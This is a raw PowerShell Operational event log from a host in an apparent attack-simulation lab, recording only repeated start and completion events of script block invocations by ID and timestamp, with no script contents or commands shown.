SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022703
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022702
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022701
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022700
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022699
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022697
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022695
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022714
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022713
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022712
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022711
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022710
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022709
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022708
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022707
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022706
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:25 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022705
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022724
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022723
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022722
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022721
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022720
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022719
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022718
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022717
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:29 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022715
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022733
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022732
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022731
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022729
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022727
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:35 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022725
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022744
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022743
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022741
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022740
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022739
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022737
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022736
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022735
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022753
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2022751
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:50:45 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2022750
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
